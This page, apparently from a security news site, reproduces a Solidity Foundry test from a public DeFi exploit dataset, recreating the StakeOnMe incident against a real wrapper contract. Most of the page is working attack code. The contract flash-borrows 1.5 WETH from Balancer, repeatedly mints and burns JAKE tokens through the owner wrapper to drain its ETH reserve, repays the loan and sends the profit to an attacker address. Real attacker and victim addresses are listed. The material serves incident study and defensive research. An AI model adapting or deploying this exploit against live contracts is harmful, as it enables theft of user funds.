Skip to content
THREATWIRE

Public reproduction file

src/test/2026-03/unverified_237d_exp.sol

Public reproduction file for dataset entry StakeOnMe.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-03/unverified_237d_exp.sol161 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 0.28 ETH
8// Attacker : 0xbdcdc1d072dfd2a1401e88959c31071fc585ce8e
9// Attack Contract : 0x8a9be1b19895798287a5a9b64db3d133e0297cda
10// Vulnerable Contract : 0x237d59bf98ec4f4f013bc35d66f22d2bc9504b3f
11// Victim : 0x237d59bf98ec4f4f013bc35d66f22d2bc9504b3f
12// Attack Tx : https://etherscan.io/tx/0xed71e72ba1be2cff06438fab558a79936414d24dd1f6d3e58ecadc2a8f673fe5
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0x237d59bf98ec4f4f013bc35d66f22d2bc9504b3f#code
17// @Analysis
18// Twitter Guy : https://x.com/DefimonAlerts/status/2034532549905580417
19//
20// The JAKE meToken owner is an unverified public wrapper. The attacker repeatedly minted JAKE through the wrapper's
21// payable path, then burned the freshly minted balance through the same owner-privileged wrapper. Because the burn is
22// routed by the token owner, the wrapper pays out more ETH than the raw mint cost and drains reserve value over 80
23// traced cycles before repaying a zero-fee Balancer WETH flash loan.
25address constant ATTACKER = 0xbDcdC1D072DFd2a1401e88959c31071FC585CE8E;
26address constant STAKEONME_OWNER_WRAPPER = 0x237d59bF98Ec4f4F013bc35D66f22d2Bc9504b3F;
27address constant JAKE_METOKEN = 0x277697FA7C134A7Fcc2AAAf812Bdf1FD8b68B818;
28address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
29address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
31uint256 constant WETH_FLASH_AMOUNT = 1.5 ether;
33interface IStakeOnMeOwnerWrapper {
34 function burn(
35 uint256 amount
36 ) external;
38 function poolBalance() external view returns (uint256);
41contract ContractTest is BaseTestWithBalanceLog {
42 function setUp() public {
43 uint256 forkBlock = 24_664_322;
44 vm.createSelectFork("mainnet", forkBlock);
45 fundingToken = address(0);
46 attacker = ATTACKER;
48 vm.label(ATTACKER, "Attacker EOA");
49 vm.label(STAKEONME_OWNER_WRAPPER, "StakeOnMe JAKE Owner Wrapper");
50 vm.label(JAKE_METOKEN, "JAKE meToken");
51 vm.label(BALANCER_VAULT, "Balancer Vault");
52 vm.label(WETH_TOKEN, "WETH");
53 }
55 function testExploit() public balanceLog2(ATTACKER) {
56 assertEq(IERC20(JAKE_METOKEN).owner(), STAKEONME_OWNER_WRAPPER, "unexpected JAKE owner");
58 StakeOnMeAttack attack = new StakeOnMeAttack(ATTACKER);
59 vm.label(address(attack), "Local Attack Contract");
61 uint256 attackerEthBefore = ATTACKER.balance;
62 uint256 wrapperPoolBefore = IStakeOnMeOwnerWrapper(STAKEONME_OWNER_WRAPPER).poolBalance();
64 attack.run();
66 uint256 attackerProfit = ATTACKER.balance - attackerEthBefore;
67 uint256 wrapperPoolAfter = IStakeOnMeOwnerWrapper(STAKEONME_OWNER_WRAPPER).poolBalance();
69 emit log_named_decimal_uint("Attacker ETH profit", attackerProfit, 18);
70 emit log_named_decimal_uint("Wrapper pool balance before", wrapperPoolBefore, 18);
71 emit log_named_decimal_uint("Wrapper pool balance after", wrapperPoolAfter, 18);
73 assertGt(attackerProfit, 0.27 ether, "ETH profit below traced impact");
74 assertLt(wrapperPoolAfter, wrapperPoolBefore, "wrapper pool balance did not decrease");
75 assertEq(IERC20(WETH_TOKEN).balanceOf(address(attack)), 0, "WETH left on helper");
76 assertEq(IERC20(JAKE_METOKEN).balanceOf(address(attack)), 0, "JAKE left on helper");
77 assertEq(address(attack).balance, 0, "ETH left on helper");
78 }
81contract StakeOnMeAttack {
82 address private immutable profitReceiver;
84 constructor(
85 address profitReceiver_
86 ) {
87 profitReceiver = profitReceiver_;
88 }
90 receive() external payable {}
92 function run() external {
93 address[] memory tokens = new address[](1);
94 tokens[0] = WETH_TOKEN;
96 uint256[] memory amounts = new uint256[](1);
97 amounts[0] = WETH_FLASH_AMOUNT;
99 // step 1: borrow the same 1.5 WETH from Balancer.
100 IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");
101 }
103 function receiveFlashLoan(
104 address[] memory tokens,
105 uint256[] memory amounts,
106 uint256[] memory feeAmounts,
107 bytes memory
108 ) external {
109 require(msg.sender == BALANCER_VAULT, "caller must be Balancer");
110 require(tokens.length == 1 && tokens[0] == WETH_TOKEN, "unexpected flash token");
111 require(amounts[0] == WETH_FLASH_AMOUNT, "unexpected flash amount");
112 require(feeAmounts[0] == 0, "unexpected Balancer fee");
114 // step 2: unwrap the WETH flash loan to fund the owner-wrapper mint path.
115 IWETH(payable(WETH_TOKEN)).withdraw(amounts[0]);
117 // step 3: run the three trace-supported mint groups and derive each burn amount from the minted JAKE balance.
118 _mintAndBurnGroup(0.025 ether, 40);
119 _mintAndBurnGroup(0.01 ether, 30);
120 _mintAndBurnGroup(0.005 ether, 10);
122 // step 4: rewrap and repay the zero-fee Balancer loan, then forward the native ETH profit.
123 uint256 debt = amounts[0] + feeAmounts[0];
124 require(address(this).balance > debt, "cycle did not produce profit");
125 IWETH(payable(WETH_TOKEN)).deposit{value: debt}();
126 require(IERC20(WETH_TOKEN).transfer(BALANCER_VAULT, debt), "repay WETH");
128 _sweepProfit();
129 }
131 function _mintAndBurnGroup(
132 uint256 mintValue,
133 uint256 count
134 ) private {
135 bytes4 preBurnSelector = 0xcfd26d5d;
137 for (uint256 i = 0; i < count; ++i) {
138 uint256 balanceBefore = IERC20(JAKE_METOKEN).balanceOf(address(this));
140 (bool minted,) = payable(STAKEONME_OWNER_WRAPPER).call{value: mintValue}("");
141 require(minted, "owner-wrapper mint failed");
143 uint256 mintedAmount = IERC20(JAKE_METOKEN).balanceOf(address(this)) - balanceBefore;
144 require(mintedAmount > 0, "no JAKE minted");
146 (bool prepared,) = STAKEONME_OWNER_WRAPPER.call(abi.encodeWithSelector(preBurnSelector));
147 require(prepared, "pre-burn call failed");
149 IStakeOnMeOwnerWrapper(STAKEONME_OWNER_WRAPPER).burn(mintedAmount);
150 require(IERC20(JAKE_METOKEN).balanceOf(address(this)) == balanceBefore, "JAKE not burned");
151 }
152 }
154 function _sweepProfit() private {
155 uint256 profit = address(this).balance;
156 if (profit != 0) {
157 (bool sent,) = payable(profitReceiver).call{value: profit}("");
158 require(sent, "profit transfer failed");
159 }
160 }

Analysis

Dataset entry

Public Foundry test for “StakeOnMe” (2026-03-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xbdcdc1d072dfd2a1401e88959c31071fc585ce8e

  • Attack Contract

    0x8a9be1b19895798287a5a9b64db3d133e0297cda

  • Vulnerable Contract

    0x237d59bf98ec4f4f013bc35d66f22d2bc9504b3f

  • Victim

    0x237d59bf98ec4f4f013bc35d66f22d2bc9504b3f

  • Attack Tx

    0xed71e72ba1be2cff06438fab558a79936414d24dd1f6d3e58ecadc2a8f673fe5

File record

Name
StakeOnMe
Path
src/test/2026-03/unverified_237d_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
0884fb16db2c08afdd8e549ab688e6ef37258f2c
Language
Solidity
Size
162 lines
Date
2026-03-15
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-03/unverified_237d_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0884fb16db2c08afdd8e549ab688e6ef37258f2c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.